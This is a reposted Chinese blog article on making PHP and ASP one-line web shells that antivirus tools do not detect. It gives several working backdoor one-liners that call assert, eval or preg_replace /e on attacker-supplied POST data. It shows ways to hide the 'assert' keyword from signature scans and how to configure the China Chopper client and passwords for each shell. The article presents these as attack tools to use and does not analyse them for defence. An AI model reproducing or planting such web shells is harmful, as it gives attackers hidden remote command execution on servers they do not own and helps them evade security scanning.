首页 > 技术文章 > 关于php一句话免杀的分析<转载>

demonspider 2013-09-19 19:03 原文

一开始想这样:   <?php $_GET['ts7']($_POST['cmd']);?> 客户端用菜刀,密码cmd,url为test.php?ts7=assert   这个应该算没有什么特征码了,但是缺点就是在web日志中会暴露出来assert   可以都用post:     <?php $_POST['ts7']($_POST['cmd']);?> 在菜刀说明用<O>ts7=assert</O>post附加数据.   这中间考虑了这些:   <?php  $ts7 = (string)key($_POST);  $ts7($_POST[’assert']);  ?> 猛然发现assert这个关键词又出现了。。 既然字符串可以直接这样用,那还可以这样:   <?php  $a = "a"."s"."s"."e"."r"."t";  $a($_POST["cmd"]);  ?> 或者用     $a = str_replace(x,"",axsxxsxexrxxt) 以上说来,感觉       <?php $_POST['ts7']($_POST['cmd']);?> 算是最难查到的一种了。   ==========================   ywisax 在论坛上又发了这个: 不知是谁写的 百度了一堆 都没写出处,貌似是lcx写的:   asp版的,这是utf-8编码,自己看着弄吧        <”CODEPAGE=”65001″%>  <%  var lcx = {‘名字’: Request.form(‘#’), ‘性别’: eval, ‘年龄’: ‘18′, ‘昵称’: ‘请叫我一声老大’};  lcx.性别((lcx.名字)+”);  %>  用冰狐就行了       <?php   @preg_replace(“/[email]/e”,$_POST['h'],”error”);   ?>     菜刀附加数据: <O>h=@eval($_POST[c]);</O>   [email]和error你看着换吧,怎么隐蔽怎么来 密码c

作者 随风.潜入夜

推荐阅读